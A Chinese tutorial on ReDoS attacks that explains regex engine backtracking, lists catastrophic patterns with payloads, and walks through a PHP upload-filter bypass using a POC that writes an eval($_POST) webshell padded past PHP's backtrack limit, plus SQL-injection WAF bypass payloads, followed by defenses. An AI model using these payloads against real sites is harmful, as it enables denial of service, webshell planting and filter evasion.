ReDos攻击浅析

DOS为拒绝服务攻击,re则是由于正则表达式使用不当,陷入正则引擎的回溯陷阱导致服务崩溃,大量消耗后台性能

正则

​ 探讨redos攻击之前,首先了解下正则的一些知识

执行过程

  • 大体的执行过程分为: 编译 -> 执行

  • 编译过程中,首先进行预编译,然后进入编译阶段

  • 执行的时候利用正则引擎进行匹配,最终得出匹配成功or失败

  • 编码过程中尽量使用预编译,并将预编译结果临时保存到全局变量,预编译的速度要比即用编辑快!

    -- coding:utf-8 --

    import re
    import time

    pattern = r"http://(?:.?\w+)+"

    text = r'xxx.com'

    预编译

    pattern_compile = re.compile(pattern)

    time_begin = time.time()
    for i in range(5000000):
    pattern_compile.match(text)
    print("compile total time = {0}".format(time.time() - time_begin))

    time_begin = time.time()

    未使用预编译

    for i in range(5000000):
    re.match(pattern, text)
    print("not compile total time = {0}".format(time.time() - time_begin))

    compile total time = 3.97600007057
    not compile total time = 11.0629999638

正则引擎

  • DFA-确定型有穷自动机

    • 捏着文本串去比较正则式,看到一个子正则式,就把可能的匹配串全标注出来,然后再看正则式的下一个部分,根据新的匹配结果更新标注
    • 文本串中每一个字符串只扫描一次,速度快,特征少
    • 文本主导,按照文本的顺序执行(确定型)
    • 没有回溯的过程,不能使用断言等正则高级语法
  • NFA-非确定性有穷自动机

    • 捏着正则式去比文本,吃掉一个字符,就把它跟正则式比较,匹配就记下来:"where when匹配上了!",接着往下干。一旦不匹配,就把刚吃的这个字符吐出来,一个个的吐,直到回到上一次匹配的地方
    • 反复吞吐文本字符,速度慢,特征丰富
    • 表达式主导,按照表达式主导执行
    • 有回溯的过程,能使用断言等正则高级语法

正则引擎使用场景

引擎类型 程序
DFA awk(大多数版本)、egrep(大多数版本)、flex、lex、MySQL、Procmail
传统型 NFA GNU Emacs、Java、grep(大多数版本)、less、more、.NET语言、PCRE library、Perl、PHP(所有三套正则库)、Python、Ruby、set(大多数版本)、vi
POSIX NFA mawk、Mortice Lern System's utilities、GUN Emacs(明确指定时使用)
DFA/NFA混合 GNU awk、 GNU grep/egrep、 Tcl
  • 概括下,大多数高级语言都是使用NFA正则引擎,功能强大
  • 数据库则使用DFA正则引擎,如MongoDBMySQL

ReDos问题

​ 下面跳出正则部分,开始描述DOS部分

回溯陷阱

​ 前文我们已经提到NFA正则引擎的自身机制导致正则匹配有回溯的问题

eg: text = "aaaaaaaaaaaaaa", pattern=/^(a*)b$/

  • (a*),匹配到了文本中的aaaaaaaaaaaaaa
  • 匹配正则中b无法匹配,text中的所有的a都被(a*)吃了
  • 开始吐,吐一个a不行
  • 继续吐......
  • 到最后都不能匹配,如果文本a过多,回溯次数过多,Dos拒绝服务
  • 如果一个正则表达式有多个部分需要回溯,那么次数就是指数型。文本长度为100,两个部分需要回溯,则100^2 = 10000次,恐怖

eg:

复制代码
import re
import time

begin_time = time.time()
re.match("^(a+)+$", r"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!")

print("total time = {0}".format(time.time() - begin_time))

>>>
total time = 31.8870000839

一些ReDos样例

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} | for x > 10

Payload: "aaaaaaaaaaaaaaaaaa!"

一些业务场景

  • Person Name:

    • Regex: ^[a-zA-Z]+(([\'\,\.\-][a-zA-Z ])?[a-zA-Z]*)*$
    • Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaa!
  • Java Classname

    • Regex: ^(([a-z])+.)+[A-Z]([a-z])+$
    • Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
  • Email Validation

    • Regex: ^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$
    • Payload: a@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
  • Multiple Email address validation

    • Regex: ^[a-zA-Z]+(([\'\,\.\-][a-zA-Z ])?[a-zA-Z]*)*\s+<(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})>$|^(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})$
    • Payload: aaaaaaaaaaaaaaaaaaaaaaaa!
  • Decimal validator

    • Regex: ^\d*[0-9](|.\d*[0-9]|)*$
    • Payload: 1111111111111111111111111!
  • Pattern Matcher

    • Regex: ^([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?\.){0,}([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?){1,63}(\.[a-z0-9]{2,7})+$
    • Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

小结下

  • 重复分组构造
  • 交替重叠

防御&&优化

​ 从开发or安全角度

  • 正则表达式书写注意,防止多处回溯(需要开发有一定的正则功底)
  • 文本串长度限制

最后的一个例子

一道php代码审计

复制代码
<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

$file_name = 'C:\phpStudy\WWW\xxx\webshell.php';
$user_dir = 'C:\phpStudy\WWW\xxx' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($file_name);
//$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    echo "successful";
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}
?>

代码最后的目的是绕过is_php函数的限制,写入php木马

如下,这个是绕不过正则的

复制代码
<?php
    @eval ($_REQUEST["xxx"]);
?>
  • 但是这个正则存在回溯陷阱问题
  • php中有最大回溯次数的限制。默认为1000000

payload

复制代码
'aaa<?php eval($_POST[txt]);//' + 'a' * 1000000
  • aaaaaaaa...aaaaaaaa会吃完正则中第一个.*,但是该payload不会匹配[(;?>]`,所以只能吐,进入回溯陷阱

生成POC文件

复制代码
# -*- coding:utf-8 -*-
# print('aaa<?php eval($_POST[txt]);//' + 'a' * 1000000)

filename = 'webshell_flag.php'
with open(filename, 'w') as file_object:
    file_object.write('aaa<?php eval($_POST[txt]);//' + 'a' * 1000000)

成功绕过

其它:

  • waf - 1

    <?php if(preg_match('/SELECT.+FROM.+/is', $input)) { die('SQL Injection'); }
  • waf - 2

    <?php if(preg_match('/UNION.+?SELECT/is', $input)) { die('SQL Injection'); }

payload: UNION/*aaaaa*/SELECT (aaaaa吃掉第一个.+?,后续发现 S 和 * 不匹配,导致开始吐,进入陷阱)

上述的防御

  • preg_match对字符串进行匹配,一定要使用===全等号来判断返回值

    <?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data);

    }

    if(is_php(input) === 0) { // fwrite(f, $input); ...
    }

  • 因为正常情况返回 0, 1 ,超过回溯次数返回False

相关推荐
Neolnfra11 小时前
渗透测试标准化流程
开发语言·安全·web安全·http·网络安全·https·系统安全
.昕..12 小时前
2025CTF逆向工程“新范式”:当Jadx装上AI大脑,逆向效率提升
网络安全
云计算练习生13 小时前
渗透测试行业术语扫盲(第十六篇)—— 红蓝对抗与演练类
网络·安全·网络安全·信息安全·渗透测试术语
小阿宁的猫猫14 小时前
sqlmap的使用
sql·网络安全·php
百度安全15 小时前
百度办公网安全秘诀分享——兼顾安全与效率
安全·网络安全·dubbo·办公安全
白帽子黑客罗哥16 小时前
零基础使用网络安全工具的方法
安全·web安全·网络安全·渗透测试·漏洞挖掘·工具
Whoami!18 小时前
❾⁄₁ ⟦ OSCP ⬖ 研记 ⟧ 防病毒软件规避 ➱ 防病毒软件概述(上)
网络安全·信息安全·防病毒
白帽子黑客杰哥18 小时前
零基础学习网络安全,如何安排每天的学习计划?需要重点攻克哪些核心技能点?
学习·安全·web安全·渗透测试·人才培养·网络安全培训
Bug.ink18 小时前
BUUCTF——WEB(1)
网络安全·靶场·buuctf
白帽子黑客杰哥19 小时前
推荐一些适合零基础学习网络安全的具体在线课程或书籍?
学习·安全·web安全·网络安全·渗透测试